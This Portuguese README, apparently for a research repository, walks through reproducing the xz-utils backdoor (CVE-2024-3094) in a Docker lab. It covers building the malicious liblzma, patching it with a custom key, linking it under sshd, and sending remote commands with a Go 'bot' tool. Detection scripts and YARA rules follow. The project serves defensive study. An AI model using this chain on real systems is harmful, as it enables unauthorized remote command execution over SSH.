
Uma vulnerabilidade de backdoor XZ explicada em detalhes.
Este projeto analisa o backdoor de alto perfil descoberto no xz-utils (liblzma), afetando as versões 5.6.0 e 5.6.1. O código malicioso introduzido no sistema de build upstream tinha como alvo a autenticação SSH, modificando como o sshd interage com a biblioteca de compressão LZMA em tempo de execução.
⚠️ Este projeto é apenas para fins de pesquisa educacional e defensiva.
Clone este repositório
git clone https://github.com/valeriot30/cve-2024-3094
Navegue até o diretório
cd cve-2024-3094
Inicie o contêiner docker
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Obtenha uma versão maliciosa da biblioteca
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Exporte o alvo de build
export RPM_ARCH=$(uname -m)
Compile a biblioteca maliciosa
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Copie o SO malicioso para fora:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Clone novamente o repositório dentro do contêiner
git clone https://github.com/valeriot30/cve-2024-3094
Aplique o patch na biblioteca liblzma com uma chave personalizada
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Vincule a biblioteca maliciosa no sistema
sh cve-2024-3094/inject.sh
Execute o sshd vinculado à biblioteca maliciosa
env -i LANG=C /usr/sbin/sshd -D &
Clone este repositório
git clone https://github.com/valeriot30/cve-2024-3094
Navegue até o diretório
cd cve-2024-3094
Compile a ferramenta GO
go build
Use a ferramenta inserindo o endereço IP da máquina vulnerável e o comando a ser executado
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Execute o detector
sh detector.sh
Use as regras de correspondência do yara
yara rule.yar ../liblzma.so.5.6.0 -s